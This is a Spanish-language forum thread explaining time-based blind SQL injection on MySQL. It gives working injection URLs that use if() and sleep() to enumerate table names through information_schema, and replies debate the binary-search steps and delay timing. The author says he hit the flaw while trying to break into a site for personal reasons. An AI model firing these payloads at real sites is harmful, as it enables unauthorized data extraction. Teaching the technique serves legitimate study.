Blind Mysqli Time Based [Teoria]

Iniciado por q3rv0, Diciembre 21, 2012, 10:45:57 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, mas bien me encontraba tratando de ingresar a un sitio por cuestiones personales, me encontre con una variante de inyeccion sql dando por descartado las demas a travez de las respuestas que generaba el servidor, una "Blind mysqli basada en tiempo", paso a explicar a quienes no se encuntren familiarizados con este tipo de inyeccion.
Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la tecnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicacion muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar un OR 1=1 que un OR 2+5/87=9999999999 el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra desvariacion en el sitio, da lo mismo la aplicacion resulta vulnerable pero no podremos deducir cual es la inyeccion correcta.
Para estas situaciones, podemos hacer uso de la funcion sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:

Código: php

mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual!                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)


sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.
Código: php

mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0                                              |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)



Como vemos la condicion dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condicion el vector sqli para dicha inyeccion por ejemplo:

Empezemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyeccion y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.
Código: php

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE


Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

Código: php
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE


Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


Código: php
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos


Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la pasciencia mienstras se lleva a cabo la inyeccion manualmente.

Besitos!
           

[Q]3rV[0]   

Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria? La segunda es que el sleep (5) de MySQL en la experiencia que tuve dura 15 segundos, no dura 5.

CitarEsta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cita de: [Q3rV[0] link=topic=13280.msg46561#msg46561 date=1356144103]
CitarEsta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos

Pero si es binaria porque pasas de 15 a 50 despues a 100 y despues a 68? Cual seria el range?

Ah si? Que raro, yo porque inyectando una sentencia falsa (o sea sin sleep) dura exactamente 0.1 segundos en cierta web usando WGET (que te marca el tiempo exacto) Y usando un sleep (5) tarda 15 segundos exactos por mas que lo haga varias veces asi que no sera un delay de HTTP. Ahora me doy cuenta que es raro...